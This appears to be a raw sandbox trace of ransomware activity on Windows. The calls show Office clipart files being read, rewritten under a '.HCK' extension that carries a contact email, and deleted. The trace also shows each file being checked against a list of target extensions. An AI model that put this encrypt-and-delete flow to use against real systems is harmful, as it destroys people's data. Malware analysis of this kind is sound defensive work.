GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.738] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.738] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.743] GetLastError () returned 0x0 [0178.743] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0178.745] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0178.746] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.746] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.746] SetEndOfFile (hFile=0x370) returned 1 [0178.750] CloseHandle (hObject=0x370) returned 1 [0178.750] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.750] SetEndOfFile (hFile=0x300) returned 1 [0178.753] CloseHandle (hObject=0x300) returned 1 [0178.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf")) returned 1 [0178.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.755] lstrlenW (lpString=".doc") returned 4 [0178.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.755] lstrlenW (lpString=".docx") returned 5 [0178.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.755] lstrlenW (lpString=".pdf") returned 4 [0178.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.755] lstrlenW (lpString=".xls") returned 4 [0178.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.755] lstrlenW (lpString=".xlsx") returned 5 [0178.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.755] lstrlenW (lpString=".ppt") returned 4 [0178.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.755] lstrlenW (lpString=".zip") returned 4 [0178.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.755] lstrlenW (lpString=".rar") returned 4 [0178.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".bz2") returned 4 [0178.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".7z") returned 3 [0178.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".dbf") returned 4 [0178.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".1cd") returned 4 [0178.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".jpg") returned 4 [0178.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".doc") returned 4 [0178.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".docx") returned 5 [0178.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.756] lstrlenW (lpString=".pdf") returned 4 [0178.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".xls") returned 4 [0178.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.756] lstrlenW (lpString=".xlsx") returned 5 [0178.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.756] lstrlenW (lpString=".ppt") returned 4 [0178.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".zip") returned 4 [0178.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.756] lstrlenW (lpString=".rar") returned 4 [0178.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".bz2") returned 4 [0178.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString=".7z") returned 3 [0178.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".dbf") returned 4 [0178.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".1cd") returned 4 [0178.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 68 [0178.756] lstrlenW (lpString=".jpg") returned 4 [0178.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.757] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.757] lstrlenW (lpString="NA02041_.WMF") returned 12 [0178.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.761] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2328) returned 1 [0178.761] CloseHandle (hObject=0x368) returned 1 [0178.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf")) returned 0x220 [0178.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.766] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.766] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.770] GetLastError () returned 0x0 [0178.770] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x918, lpOverlapped=0x0) returned 1 [0178.772] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x920, lpOverlapped=0x0) returned 1 [0178.773] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.773] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.773] SetEndOfFile (hFile=0x300) returned 1 [0178.775] CloseHandle (hObject=0x300) returned 1 [0178.777] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.777] SetEndOfFile (hFile=0x2fc) returned 1 [0178.780] CloseHandle (hObject=0x2fc) returned 1 [0178.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf")) returned 1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".doc") returned 4 [0178.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".docx") returned 5 [0178.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.783] lstrlenW (lpString=".pdf") returned 4 [0178.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".xls") returned 4 [0178.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.783] lstrlenW (lpString=".xlsx") returned 5 [0178.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.783] lstrlenW (lpString=".ppt") returned 4 [0178.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".zip") returned 4 [0178.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.783] lstrlenW (lpString=".rar") returned 4 [0178.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".bz2") returned 4 [0178.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".7z") returned 3 [0178.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".dbf") returned 4 [0178.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".1cd") returned 4 [0178.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".jpg") returned 4 [0178.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.783] lstrlenW (lpString=".doc") returned 4 [0178.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".docx") returned 5 [0178.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.783] lstrlenW (lpString=".pdf") returned 4 [0178.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.783] lstrlenW (lpString=".xls") returned 4 [0178.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.783] lstrlenW (lpString=".xlsx") returned 5 [0178.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.783] lstrlenW (lpString=".ppt") returned 4 [0178.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.784] lstrlenW (lpString=".zip") returned 4 [0178.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.784] lstrlenW (lpString=".rar") returned 4 [0178.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.784] lstrlenW (lpString=".bz2") returned 4 [0178.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.784] lstrlenW (lpString=".7z") returned 3 [0178.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.784] lstrlenW (lpString=".dbf") returned 4 [0178.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.784] lstrlenW (lpString=".1cd") returned 4 [0178.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 68 [0178.784] lstrlenW (lpString=".jpg") returned 4 [0178.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.784] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.784] lstrlenW (lpString="NA02124_.WMF") returned 12 [0178.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.785] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8168) returned 1 [0178.785] CloseHandle (hObject=0x39c) returned 1 [0178.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf")) returned 0x220 [0178.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.791] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.791] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.794] GetLastError () returned 0x0 [0178.794] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1fe8, lpOverlapped=0x0) returned 1 [0178.795] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1ff0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1ff0, lpOverlapped=0x0) returned 1 [0178.796] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.796] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.797] SetEndOfFile (hFile=0x2fc) returned 1 [0178.798] CloseHandle (hObject=0x2fc) returned 1 [0178.798] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.798] SetEndOfFile (hFile=0x39c) returned 1 [0178.802] CloseHandle (hObject=0x39c) returned 1 [0178.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02124_.wmf")) returned 1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".doc") returned 4 [0178.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString=".docx") returned 5 [0178.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.804] lstrlenW (lpString=".pdf") returned 4 [0178.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString=".xls") returned 4 [0178.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.804] lstrlenW (lpString=".xlsx") returned 5 [0178.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.804] lstrlenW (lpString=".ppt") returned 4 [0178.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".zip") returned 4 [0178.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.804] lstrlenW (lpString=".rar") returned 4 [0178.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString=".bz2") returned 4 [0178.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString=".7z") returned 3 [0178.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".dbf") returned 4 [0178.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".1cd") returned 4 [0178.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".jpg") returned 4 [0178.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.804] lstrlenW (lpString=".doc") returned 4 [0178.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString=".docx") returned 5 [0178.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.805] lstrlenW (lpString=".pdf") returned 4 [0178.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString=".xls") returned 4 [0178.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.805] lstrlenW (lpString=".xlsx") returned 5 [0178.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.805] lstrlenW (lpString=".ppt") returned 4 [0178.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.805] lstrlenW (lpString=".zip") returned 4 [0178.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.805] lstrlenW (lpString=".rar") returned 4 [0178.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString=".bz2") returned 4 [0178.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString=".7z") returned 3 [0178.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.805] lstrlenW (lpString=".dbf") returned 4 [0178.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.805] lstrlenW (lpString=".1cd") returned 4 [0178.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02124_.WMF") returned 68 [0178.805] lstrlenW (lpString=".jpg") returned 4 [0178.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.805] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.805] lstrlenW (lpString="NA02262_.WMF") returned 12 [0178.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.808] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3328) returned 1 [0178.808] CloseHandle (hObject=0x39c) returned 1 [0178.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf")) returned 0x220 [0178.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, 